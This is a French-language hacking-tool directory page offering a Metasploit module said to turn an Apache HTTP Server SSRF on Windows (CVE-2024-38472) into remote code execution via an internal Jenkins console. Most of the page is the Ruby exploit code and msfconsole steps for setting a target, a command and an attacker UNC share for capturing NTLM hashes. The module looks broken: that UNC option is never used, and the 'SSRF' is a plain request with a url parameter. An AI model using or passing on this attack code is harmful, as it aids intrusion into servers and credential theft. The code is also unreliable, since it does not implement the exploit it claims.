Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-38472 — # Module Metasploit exploitant le SSRF du serveur Apache HTTP (CVE-2024-38472) sous Windows pour atteindre des services internes et exécuter du code à distance. | Kitploit
Outils/GitHubGitHub/abdurahmon3236/cve-2024-38472
Frameworks de Tests d'IntrusionFrameworks d'ExploitationAnalyse des VulnérabilitésMouvement LatéralExploitation d'Applications WebPost-ExploitationCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubabdurahmon3236/cve-2024-38472

CVE-2024-38472

# Module Metasploit exploitant le SSRF du serveur Apache HTTP (CVE-2024-38472) sous Windows pour atteindre des services internes et exécuter du code à distance.

45il y a 2 ansPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Créer un module Metasploit d'exécution de code à distance (RCE) pour la vulnérabilité SSRF (CVE-2024-38472) dans Apache HTTP Server sur Windows est difficile car SSRF en elle-même ne conduit pas directement à une RCE. Cependant, SSRF peut souvent être une étape vers l'obtention d'une RCE, surtout si vous pouvez l'utiliser pour interagir avec des services internes ou déclencher une vulnérabilité secondaire.

Stratégie pour RCE via SSRF

Pour atteindre une RCE via SSRF, nous aurions généralement besoin de :

  1. Un service interne vulnérable à une attaque spécifique qui peut être exploitée via SSRF.
  2. Une mauvaise configuration ou une vulnérabilité supplémentaire permettant l'exécution de code arbitraire.

Pour cet exemple, supposons que nous pouvons déclencher un service secondaire en interne qui accepte les requêtes HTTP et peut être amené à exécuter du code arbitraire (comme un serveur Jenkins ou un autre service avec une API exposée).

Exemple de module Metasploit

Nous allons créer un module Metasploit qui tente d'atteindre une RCE en exploitant le SSRF pour interagir avec un service interne. Dans ce cas, nous simulerons un serveur Jenkins interne avec une console de script exposée que nous pouvons abuser pour une RCE.

Enregistrez le code suivant sous apache_unc_ssrf_rce.rb dans le répertoire modules/exploits/multi/http de votre installation Metasploit Framework.

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

Instructions d'utilisation

  1. Enregistrer le module : Enregistrez le module sous apache_unc_ssrf_rce.rb dans le répertoire modules/exploits/multi/http de votre installation Metasploit Framework.

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
    
  2. Charger Metasploit : Démarrez Metasploit Framework en ouvrant un terminal et en exécutant :

    root@kitploit:~
    msfconsole
    
  3. Utiliser le nouveau module : Dans la console Metasploit, chargez le nouveau module d'exploitation en utilisant la commande suivante :

    root@kitploit:~
    use exploit/multi/http/apache_unc_ssrf_rce
    
  4. Configurer et exécuter : Définissez les options nécessaires, telles que RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE et CMD. Ensuite, exécutez le module.

    root@kitploit:~
    msf6 > use exploit/multi/http/apache_unc_ssrf_rce
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
    RPORT => 80
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
    UNC_SERVER => \\attacker-server\share
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
    INTERNAL_SERVICE => http://internal-service/script
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
    CMD => calc.exe
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > run
    

Considérations importantes

  • Assurez-vous d'avoir les autorisations appropriées avant de tester ou d'exploiter tout système.
  • Ce module est conçu à des fins éducatives et de test. Testez toujours dans un environnement sûr et contrôlé avant de l'utiliser sur des systèmes de production.

Ce module Metasploit amélioré envoie une requête spécialement conçue au serveur Apache HTTP vulnérable sur Windows, tentant de déclencher la vulnérabilité SSRF et de l'exploiter pour obtenir une RCE en interagissant avec un service interne. Ajustez la charge utile et le module selon les besoins en fonction de la nature spécifique de la vulnérabilité et de l'environnement cible.

Télécharger l’outil